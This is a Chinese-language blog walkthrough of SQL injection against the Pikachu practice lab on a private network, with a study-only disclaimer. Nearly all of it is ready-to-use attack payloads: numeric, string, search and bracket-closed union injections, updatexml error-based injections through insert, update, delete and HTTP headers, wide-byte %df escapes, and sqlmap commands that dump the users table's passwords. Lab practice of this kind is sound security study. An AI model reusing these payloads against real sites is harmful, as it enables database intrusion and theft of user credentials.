sql注入(pikachu靶场学习之SQL注入)

环境准备

环境:wmware,安装两台win10的虚拟机在服务器上部署服务,在客户机上进行安全测试

声明:不涉及互联网上的资源,学习都在内网完成,一切皆用于学习记录,不可用于其他用途

win10服务器:192.168.59.132

win10客户机:192.168.59.130

涉及到的软件:

​ Burp Suite Professional v2.0beta(自行搜索安装)

​ 浏览器:火狐(这个不重要,随便)

服务部署用phpstudy部署pikachu漏洞平台(自行baidu查然后自己部署,有很多写得很全面的。有一个小坑,部署完,去phpstudy添加一个pikachu的数据库,然后去pikachu的配置文件找到config.inc.php这个文件,修改数据库信息)

话不多说,直入主题

1.数字型注入

设置代理后抓包:

然后点代理右边那个Repeater ,id=1 开始测试,返回正常,无报错:

修改 id=1‘ 继续发包 发现报错了:

继续修改:id=1' and '1'='1 ,依旧报错 可以猜想这是一个数字型的注入了

修改id=1 and 1=1 无报错产生,可以断定这是数字型的注入(靶场明确告诉我们这是什么类型,但事实上需要我们一步一步摸索、明确注入类型)

现在进行字段的判断:

id=1 order by 1

id=1 order by 2

id=1 order by 3 报错了,说明只有两个

id=1 union select 1,2 判断字段的回显位置

查询数据库名字,版本--和我内网服务器的数据库版本一致:

查询表名

where table_schema=database()查询限制条件:当前的pikachu数据库

information_schema.tables 所有表名

table_name 表名

group_concat()简而言之就是显示在一行(可自行baidu深入学习)

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查询字段名

由上面查询得到的users表名去查询字段

column_name 字段名

columns 字段

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

直接查询出来数据:

上面得到username和password字段

id=1 union select username,password from users

2.字符型注入

话不多说,判断方法和上面方法一样,直接梭哈

这里要看请求体的里面的name=1 即是pikachu漏洞平台的输入框的1

name=1' 直接报错

name=1'and'1'='1

两个方法

方法一:(不用抓包了,没意义)

1.测试判断字段数

1' order by 1#

1' order by 2#

1' order by 3# 这个报错了,说明只有两个字段

2.测试回显位置

1' union select 1,2#

3.查询数据库

1' union select 1,database()#

4.查表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

5.查字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

6.查数据

1' union select username,password from users #

方法二:万能密码(这个没什么好说的,原理可以baidu学习一下)

1' or 1=1# 下面操作差不多

vince' order by 2#

vince' union select 1,database()#

vince' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

vince' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

vince' union select username,password from users#

3.搜索型

本质还是字符,只是闭合不一样

注:十六进制:23 就是 #

随便搜索了个dd

得到一个url:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_search.php?name=dd&submit=搜索

name=dd&submit=%E6%90%9C%E7%B4%A2 由这个可以看出是由%闭合的

测试一下:?name=dd%123%23&submit=%E6%90%9C%E7%B4%A2

可以验证了上面的结论

开干

%' order by 1%

%' order by 2%

%' order by 3%

%' order by 4% 报错 说明只有3个字段

%' union select 1,2,3% 查询回显位置

查数据库:

%' union select 1,2,database()%

查表:

%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%

查字段:

%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%

查数据:

%' union select id,username,password from users%

结果:

4.xx型

本质是字符注入,稍稍比上面麻烦点

查询一下pikachu

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu&submit=查询

无报错

再搜索pikachu'

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu'&submit=%E6%9F%A5%E8%AF%A2

有报错了,根据报错提示信息,得知是)闭合

验证一下)闭合

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu')%23&submit=%E6%9F%A5%E8%AF%A2

直接上才艺:

name=pikachu') order by 1%23

name=pikachu') order by 2%23

name=pikachu') order by 3%23

1和2都无报错,3报错,得知只有2个字段

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') order by 3%23&submit=%E6%9F%A5%E8%AF%A2

查回显位置:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,2%23&submit=%E6%9F%A5%E8%AF%A2

查数据库:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,database()%23&submit=%E6%9F%A5%E8%AF%A2

查表:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&submit=%E6%9F%A5%E8%AF%A2

查字段:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&submit=%E6%9F%A5%E8%AF%A2

查数据:

http://192.168.59.132/pikachu-master/vul/sqli/sqli_x.php?name=pikachu') union select username,password from users%23&submit=%E6%9F%A5%E8%AF%A2

5.insert/update

5.1insert

点注册,然后用bp抓包

测试闭合:

username=666666','66')&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

报错了

修改:username=666666','&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

报错raw数不行

修改:username=666666','66','66','66','66','66')#&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

注册成功,证明是'号闭合

由上可知,SQL语句错误时会报错,可以使用报错注入

用updatexml()函数来构造注入payload

username=666666' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

or或者and都行,最后可以不用#,第一个参数的单引号闭合就ok。0x7e是~回显是-,估计是平台问题?不得而知

查用户:

查数据库版本:

路径:

嗯,两次结果拼在一起是完整的数据文件保存路径

开干:

先拆分一下payload

select group_concat(table_name) from information_schema.tables where table_schema=database()

updatexml() 函数

UPDATEXML (XML_document, XPath_string, new_value);

一:XML_document是String格式,为XML文档对象的名称

二:XPath_string (Xpath格式的字符串)

三:new_value,String格式,替换查找到的符合条件的数据

​ 函数对XPath_string进行查询操作,如符合语法格式要求,用第三个参数替换,对于不符合语法格式要求的,报错并带出查询的结果

updatexml(1,concat(0x7e,substr(( ),1,31),0x7e),1)

substr(string, start,) 长度大于31就行

username=' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '&password=666666&sex=666666&phonenum=666666&email=666666&add=666666&submit=submit

表:

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '

列:

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),63,31),0x7e),1) or '

数据:

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '

substr的第2个参数等于前一次的第2个参数加31

5.2update

测试闭合,单个'报错 ,两个'不报错,所以是'号闭合

数据库:

sex=22222222' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

表:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

列:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

数据:

sex=22222222' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #&phonenum=22222222&add=22222222&email=22222222&submit=submit

6.delete注入

bp抓包,先留言后删除

找到:http://192.168.59.132/pikachu-master/vul/sqli/sqli_del.php?id=56

开干开干

库:

or updatexml(1,concat(0x7e,(select database()),0x7e),1)

表:

or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

列:

or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)

数据:

or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'----',password)) from users),1,31),0x7e),1)

7.http header注入

登录(admin,123456),抓包

一般可获取头部的信息用于数据分析

通过请求头部也可以向数据库发送查询信息

构造恶意语句可以对数据库进行信息查询

Accept:属于http请求头,描述客户端希望接收的响应body 数据类型

总的来说就是希望服务器返回什么样类型的数据

Content-Type:发送端(客户端|服务器)发送的实体数据的数据类型。

Accept:1 无报错,Accept:1' 报错 可以知道存在注入的可能

这用报错回显

库:

Accept:1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

表:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

列:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

数据:

Accept:' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'+',password)) from users),1,31),0x7e),1) or '

8.boolian的盲注

方法一:

手工去干去猜!还是不聊了

自行baidu吧!!!!

方法二:

新工具人:sqlmap(自行去GitHub搜索安装)

用软件sqlmap爆破,艾玛,真香

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" --current-db

python sqlmap.py -u "url" --current-db

获取数据库名:

获取数据表:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu --tables

python sqlmap.py -u "url" -D pikachu --tables

获取列:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu -T users --columns

python sqlmap.py -u "url" -D pikachu -T users --columns

获取数据:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_b.php?name=777&submit=查询" -D pikachu -T users -C username,password --dump

python sqlmap.py -u "url" -D pikachu -T users -C username,password --dump

方法三:

python的脚本,可以去baidu了解了解

(高呼!!!工具小子真香!!!!)

9.time盲注

方法一:

手工猜猜猜!!!

不說!!自行baidu

方法二:

sqlmap爆破

查数据库:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -dbs

python sqlmap.py -u "url" -dbs

查表:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu --tables

python sqlmap.py -u "url" -D pikachu --tables

查列:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu -T users --columns

python sqlmap.py -u "url" -D pikachu -T users --columns

查数据:

python sqlmap.py -u "http://192.168.59.132/pikachu-master/vul/sqli/sqli_blind_t.php?name=777&submit=查询" -D pikachu -T users -C id,username,password --dump

python sqlmap.py -u "url" -D pikachu -T users -C id,username,password --dump

方法三:

python脚本,自行baidu!!!

10宽字节注入

原理:

宽字节注入有addslashes,mysql_escape_string,mysql_real_escape_string等转义的函数

​ 对输入'符号进行了转义'

pikachu靶场是addslashes()进行了转义

单引号(')

双引号(")

反斜杠(\)

NULL

在下方设置编码时设置为了gbk编码

利用反斜杠编码为%5c

用%df构成(連)字绕过对 ’符号 的转义

简而言之,就是由于编码的问题,用%df' 可以绕过对‘的转义

开干!!!

bp抓包,随便输入1,点击查看转到repeater:

查字段:

1%df' order by 2#

1%df' order by 3# 有错误产生

查位置:

1%df' union select 1,2#

查版本:

1%df' union select 1,@@version#

查数据库:

1%df' union select 1,database()#

查表:

1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查列:

按上面的方法会被转义处理掉,报错

所以只能嵌套:

1%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1))#

拆分后更好理解(*表示下一句所在位置):

1%df' union select 1,*# //第一句

(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(*) //第二句

select table_name from information_schema.tables where table_schema=(select database())limit 3,1) //第三句

查数据:

1%df' union select username,password from users#

pikachu的SQL靶场到此为止

:未经同意请勿转载,仅作学习使用。以上有描述不正确之处,望大家能不吝指出,共同学习共同进步。谢谢

sql注入-基于pikachu靶场学习之SQL注入的更多相关文章

  1. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  2. SQL学习之SQL注入总结

    Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的. sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲 ...

  3. SQL学习之SQL注入学习总结

    所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 测试数据库 我们本文就以如下数据库作为测试数据库,完成我们的注入分析 ...

  4. Web安全学习笔记 SQL注入上

    Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...

  5. python之MySQL学习——防止SQL注入

    python之MySQL学习——防止SQL注入 学习了:https://www.cnblogs.com/xiaomingzaixian/p/7126840.html https://www.cnblo ...

  6. 2017-2018-2 20179204《网络攻防实践》第十一周学习总结 SQL注入攻击与实践

    第1节 研究缓冲区溢出的原理,至少针对两种数据库进行差异化研究 1.1 原理 在计算机内部,输入数据通常被存放在一个临时空间内,这个临时存放的空间就被称为缓冲区,缓冲区的长度事先已经被程序或者操作系统 ...

  7. DVWA学习之SQL注入

    DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...

  8. SQL 注入漏洞浅研究学习

    SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题. 网上常说“万能密码”,这个万能密码则就是利用了SQL注入漏洞: ' or 1=1 -- 上述的万能密码输入在用户登 ...

  9. 2020/1/27代码审计学习之SQL注入漏洞

    PHP代码审计SQL注入漏洞 0x00 首先明确什么是SQL注入,SQL语句必须掌握. 常见的注入总的来说可以分为两大类:数字型和字符型. 这两类中包含了诸如报错注入,宽字节注入,盲注,二次注入,co ...

  10. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

随机推荐

  1. 揭开神秘面纱,会stream流就会大数据

    目录 准备工作 1.map类 1.1 java stream map 1.2 spark map 1.2.1 MapFunction 1.2.2 MapPartitionsFunction 2.fla ...

  2. 2023-04-15:ffmpeg的filter_audio.c的功能是生成一个正弦波音频,然后通过简单的滤镜链,最后输出数据的MD5校验和。请用go语言改写。

    2023-04-15:ffmpeg的filter_audio.c的功能是生成一个正弦波音频,然后通过简单的滤镜链,最后输出数据的MD5校验和.请用go语言改写. 答案2023-04-15: 代码见gi ...

  3. 2022-06-16:给定一个数组arr,含有n个数字,都是非负数, 给定一个正数k, 返回所有子序列中,累加和最小的前k个子序列累加和。 假设K不大,怎么算最快? 来自亚马逊。

    2022-06-16:给定一个数组arr,含有n个数字,都是非负数, 给定一个正数k, 返回所有子序列中,累加和最小的前k个子序列累加和. 假设K不大,怎么算最快? 来自亚马逊. 答案2022-06- ...

  4. 2022-05-14:语法补全功能,比如“as soon as possible“, 当我们识别到“as soon as“时, 基本即可判定用户需要键入“possible“。 设计一个统计词频的模型,

    2022-05-14:语法补全功能,比如"as soon as possible", 当我们识别到"as soon as"时, 基本即可判定用户需要键入&quo ...

  5. 2021-12-08:扑克牌中的红桃J和梅花Q找不到了,为了利用剩下的牌做游戏,小明设计了新的游戏规则: 1) A,2,3,4....10,J,Q,K分别对应1到13这些数字,大小王对应0; 2) 游

    2021-12-08:扑克牌中的红桃J和梅花Q找不到了,为了利用剩下的牌做游戏,小明设计了新的游戏规则: A,2,3,4-10,J,Q,K分别对应1到13这些数字,大小王对应0; 游戏人数为2人,轮流 ...

  6. Selenium - 浏览器配置(2) - 浏览器默认下载路径设置

    Selenium - 浏览器配置 浏览器下载路径设置 我们默认使用谷歌浏览器下载文件的时候,总会弹出窗口指定文件下载路径: 但是selenium不能对浏览器窗口以外的窗口做操作: 可以在谷歌配置信息中 ...

  7. JDBC-Utils层的简单运用

    项目中JDBC的Utils层运行需要以下六个步骤 //1.定义属性为空 private static String driver = null; private static String url = ...

  8. 记一次 Oracle 下的 SQL 优化过程

    1. 介绍 事情是这样的,UAT 环境的测试小伙伴向我扔来一个小 bug,说是一个放大镜的查询很慢,转几分钟才出数据,我立马上开发环境试了一下,很快啊我说,放大镜的数据立马就出来了,然后我登录 UAT ...

  9. Ubuntu 18.04 (Bionic) 简单快速的安装mongodb

    按步骤走,不带脑子式安装(注意4.0版本mongodb官方已经不再支持,以下代码中可以修改mongodb版本号安装,目前最新版为6.0,如果懒得改直接用也可以,文章后边第三章第一条代码会直接升级为最新 ...

  10. vue平铺日历组件之按住ctrl、shift键实现跨月、跨年多选日期的功能

    已经好久没有更新过博客了,大概有两三年了吧,因为换了工作,工作也比较忙,所以也就没有时间来写技术博客,期间也一直想写,但自己又比较懒,就给耽误了.今天这篇先续上,下一篇什么时候写,我也不知道,随心所欲 ...